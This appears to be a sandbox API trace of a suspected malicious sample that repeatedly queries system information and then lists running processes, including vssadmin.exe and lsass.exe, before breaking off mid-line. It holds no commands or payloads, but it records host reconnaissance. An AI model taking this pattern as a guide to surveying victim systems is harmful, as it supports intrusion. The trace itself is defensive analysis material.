0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0086.636] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0086.636] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171510 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168948 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161da8 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0086.637] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dc0 [0086.637] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b08 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171510 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168970 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0086.638] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0086.638] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0086.639] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0086.639] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0086.639] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0086.639] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0086.639] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0086.639] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0086.639] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0086.639] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0086.639] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0086.639] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0086.639] Sleep (dwMilliseconds=0x64) [0088.414] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0088.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.415] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0088.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.415] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0088.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.415] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0088.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.415] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0088.415] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.416] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0088.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.416] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0088.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.416] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0088.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.416] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0088.416] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.417] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0088.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.417] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0088.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.417] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0088.417] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.418] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0088.418] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.418] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0088.418] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.418] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0088.418] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.418] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0088.418] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.419] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0088.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.419] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0088.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.419] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0088.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.420] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0088.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.420] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0088.420] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.421] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0088.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.421] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0088.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.421] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0088.421] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.422] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0088.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.422] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0088.422] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.423] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0088.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0088.423] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0088.423] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0088.423] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0088.423] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175bc8 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e68 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e08 [0088.424] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.424] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175a48 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0088.425] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.425] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171430 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171310 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0088.426] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0088.426] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0088.427] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0088.427] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0088.427] RtlUnicodeStringToAnsiString (in: 